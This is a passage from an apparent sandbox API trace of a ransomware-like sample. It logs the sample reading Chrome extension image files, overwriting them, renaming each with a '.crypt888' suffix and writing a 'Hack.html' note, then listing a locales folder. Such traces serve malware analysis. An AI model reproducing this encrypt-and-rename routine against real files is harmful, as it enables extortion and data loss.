HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.crypt888")) returned 1 [0074.056] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png", lpFilePart=0x0) returned 0xac [0074.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0074.056] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.057] GetFileType (hFile=0x174) returned 0x1 [0074.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0074.057] GetFileType (hFile=0x174) returned 0x1 [0074.057] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0xa6 [0074.057] ReadFile (in: hFile=0x174, lpBuffer=0x284424c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x284424c*, lpNumberOfBytesRead=0x39eb84*=0xa6, lpOverlapped=0x0) returned 1 [0074.058] CloseHandle (hObject=0x174) returned 1 [0074.071] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png", lpFilePart=0x0) returned 0xac [0074.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0074.072] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.072] GetFileType (hFile=0x174) returned 0x1 [0074.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0074.073] GetFileType (hFile=0x174) returned 0x1 [0074.073] WriteFile (in: hFile=0x174, lpBuffer=0x28924c4*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x39eb48, lpOverlapped=0x0 | out: lpBuffer=0x28924c4*, lpNumberOfBytesWritten=0x39eb48*=0xb0, lpOverlapped=0x0) returned 1 [0074.073] CloseHandle (hObject=0x174) returned 1 [0074.075] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png", lpFilePart=0x0) returned 0xac [0074.075] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.crypt888", lpFilePart=0x0) returned 0xb5 [0074.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0074.076] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828d8e20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828d8e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbd59eb40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0074.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0074.076] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.crypt888")) returned 1 [0074.077] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png", lpFilePart=0x0) returned 0xab [0074.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0074.077] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.077] GetFileType (hFile=0x174) returned 0x1 [0074.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0074.077] GetFileType (hFile=0x174) returned 0x1 [0074.077] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0xa0 [0074.077] ReadFile (in: hFile=0x174, lpBuffer=0x2893c00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x2893c00*, lpNumberOfBytesRead=0x39eb84*=0xa0, lpOverlapped=0x0) returned 1 [0074.079] CloseHandle (hObject=0x174) returned 1 [0074.131] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png", lpFilePart=0x0) returned 0xab [0074.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0074.131] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0074.132] GetFileType (hFile=0x174) returned 0x1 [0074.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0074.133] GetFileType (hFile=0x174) returned 0x1 [0074.133] WriteFile (in: hFile=0x174, lpBuffer=0x26e4574*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x39eb48, lpOverlapped=0x0 | out: lpBuffer=0x26e4574*, lpNumberOfBytesWritten=0x39eb48*=0xb0, lpOverlapped=0x0) returned 1 [0074.134] CloseHandle (hObject=0x174) returned 1 [0074.135] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png", lpFilePart=0x0) returned 0xab [0074.135] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.crypt888", lpFilePart=0x0) returned 0xb4 [0074.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0074.135] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828ddc40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828ddc40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbd6370c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0074.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0074.136] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.crypt888")) returned 1 [0074.137] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\Hack.html", lpFilePart=0x0) returned 0x92 [0074.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eae0) returned 1 [0074.137] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.137] GetFileType (hFile=0x174) returned 0x1 [0074.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eadc) returned 1 [0074.137] GetFileType (hFile=0x174) returned 0x1 [0074.137] WriteFile (in: hFile=0x174, lpBuffer=0x26e7318*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb5c, lpOverlapped=0x0 | out: lpBuffer=0x26e7318*, lpNumberOfBytesWritten=0x39eb5c*=0xba, lpOverlapped=0x0) returned 1 [0074.138] CloseHandle (hObject=0x174) returned 1 [0074.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0074.139] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales", lpFilePart=0x0) returned 0x8a [0074.139] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\", lpFilePart=0x0) returned 0x8b [0074.139] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a8a8 [0074.150] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.151] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.151] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.151] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.151] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.151] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.151] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.152] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.152] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.152] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.152] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.152] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.152] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.153] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.153] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.153] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.153] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.153] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.153] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.154] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.154] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.154] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.154] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.154] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.154] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.154] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.155] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.155] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.155] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.155] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.155] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.156] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.156] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.156] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.156] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.156] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.157] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.157] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.157] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.157] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.157] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.157] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 0 [0074.158] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb0) returned 1 [0074.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebbc) returned 1 [0074.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0074.159] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales", lpFilePart=0x0) returned 0x8a [0074.159] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\", lpFilePart=0x0) returned 0x8b [0074.159] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a8a8 [0074.160] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.160] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.160] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.160] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.161] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.161] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.161] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.161] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.161] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.161] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.161] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.161] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.162] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.162] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.162] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.162] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.162] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.162] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.162] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.163] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.163] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.163] FindNextFileW (in: hFindFile=0x59a8a8, 